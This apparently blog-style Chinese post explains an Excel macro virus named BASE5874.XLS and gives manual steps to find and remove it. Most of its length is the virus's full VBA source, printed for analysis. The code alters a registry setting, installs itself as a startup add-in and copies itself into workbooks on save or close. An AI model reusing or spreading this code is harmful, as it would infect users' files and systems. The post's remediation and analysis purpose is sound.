Environment-001 宏病毒
最近频繁地遇到了宏病毒问题，虽然对RPA运行的环境影响不大，也不影响软件的正常使用，但是宏病毒的传播速度是真的快，包括本地电脑和服务器以及公共盘都发现了宏病毒文件，所以特意在环境文集的第一篇来讲一下宏病毒
宏病毒的常见状况：关闭Excel文件，文件会自动保存，即使未做更改也会自动保存(其实在自动保存的同时宏病毒代码也会复制到其他文件进行传播)
检查是否中了宏病毒并处理：
打开Excel.exe
查看Excel的VBA代码（Alt+F11），查看是否存在一个VBA Project(BASE5874.XLS)，如果存在就代表中了宏病毒
双击ThisWorkbook可以看到宏病毒的代码
全选中后删除代码，保存BASE5874.XLS
打开自己的最近打开的其他宏文件，同样查看VBA代码（Alt+F11），查看VBA Project-Excel Objects下的各页是否有宏代码，有的话就删除，删除后保存文件
打开路径C:\Users\XXXXXX\AppData\Roaming\Microsoft\Excel\XLSTART
将其中的BASE5874.XLS文件删除(BASE5874.XLS文件就是化身为Excel自动加载文件并进行传播写入其他文件的)
再次打开Excel.exe，查看代码，发现无VBA Project(BASE5874.XLS)，Excel Objects - 各页也无宏病毒代码，即清理成功，如果依然存在则重复上述操作直至清理到不存在
下面让我们来看一下宏病毒的代码
宏病毒代码：
Private Const cstrSection As String = "Software\Microsoft\Office\8.0\Excel\Microsoft Excel"
Private Const cstrEngine As String = "BASE5874.XLS"
Private Const cstrModule As String = "ThisWorkbook"
Private Const cstrKeyName As String = "Options6"
Private Const cstrVolumeData As String = "IVID"
Private Declare Function GetVolumeInformation Lib "KERNEL32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As Long, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As Long, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.DLL" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "ADVAPI32.DLL" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32.DLL" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "ADVAPI32.DLL" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private WithEvents mApp As Application
Private Sub Workbook_Open()
Dim strEngine As String
Dim wbkEngine As Workbook
Dim cmdEngine As Object
Dim lngRegKey As Long
Dim lngRegType As Long
Dim lngRegValue As Long
Dim lngVolumeID As Long
On Error Resume Next
If (RegOpenKeyEx(&H80000001, cstrSection, 0, &H2001F, lngRegKey) = 0) Then
RegQueryValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue, 4
RegSetValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue And Not 8, 4
RegCloseKey lngRegKey
End If
strEngine = UCase$(Application.StartupPath + "\" + cstrEngine)
If UCase$(Me.FullName) = strEngine Then
Set mApp = Application
ElseIf Len(Dir(strEngine)) = 0 Then
Application.ScreenUpdating = False
If Len(Dir(Application.StartupPath, vbDirectory)) = 0 Then MkDir Application.StartupPath
Set wbkEngine = Workbooks.Add
wbkEngine.IsAddin = True
Intrude wbkEngine
GetVolumeInformation Left$(strEngine, InStr(1, strEngine, "\")), 0, 0, lngVolumeID, 0, 0, 0, 0
wbkEngine.CustomDocumentProperties.Add cstrVolumeData + Hex$(lngVolumeID), False, msoPropertyTypeString, ""
wbkEngine.SaveAs strEngine, xlAddIn
wbkEngine.Close
If (lngRegValue And 8) = 8 Then
Set cmdEngine = Me.VBProject.VBComponents(cstrModule).CodeModule
cmdEngine.DeleteLines 1, cmdEngine.CountOfLines
Me.Save
End If
Application.ScreenUpdating = True
Else
CopyVolumesData Workbooks(cstrEngine)
End If
End Sub
Private Sub mApp_WorkbookBeforeSave(ByVal Wb As Excel.Workbook, ByVal SaveAsUI As Boolean, Cancel As Boolean)
On Error Resume Next
Intrude Wb
End Sub
Private Sub mApp_WorkbookBeforeClose(ByVal Wb As Excel.Workbook, Cancel As Boolean)
On Error Resume Next
If Len(Wb.Path) <> 0 Then If Intrude(Wb) Then Wb.Save
End Sub
Private Function Intrude(wbkTarget As Workbook) As Boolean
Dim cmdSource As Object
Dim cmdTarget As Object
On Error Resume Next
Intrude = False
Set cmdSource = Me.VBProject.VBComponents(cstrModule).CodeModule
Set cmdTarget = wbkTarget.VBProject.VBComponents(cstrModule).CodeModule
If cmdTarget.CountOfLines <= 2 Then
cmdTarget.DeleteLines 1, cmdSource.CountOfLines
cmdTarget.AddFromString cmdSource.Lines(1, cmdSource.CountOfLines)
CopyVolumesData wbkTarget
Intrude = True
End If
End Function
Private Sub CopyVolumesData(wbkTarget As Workbook)
Dim pptVolume As DocumentProperty
On Error Resume Next
For Each pptVolume In Me.CustomDocumentProperties
If Left$(pptVolume.Name, Len(cstrVolumeData)) = cstrVolumeData Then
wbkTarget.CustomDocumentProperties.Add pptVolume.Name, False, pptVolume.Type, ""
wbkTarget.CustomDocumentProperties(pptVolume.Name).Value = pptVolume.Value
End If
Next
End Sub
代码的内容是通过在打开和关闭Excel的时候把宏病毒代码进行传播，如果Excel的安全等级很高，自动加载、Marco等都被禁止的情况下，感染的几率不大，但是为了方便开发和运行，我们的开发和业务人员都启动了一些Excel自动功能，所以才给了宏病毒可乘之机。
目前通过很多人的宣传和对多个设备、公共空间的清理，宏病毒已经很少出现了。
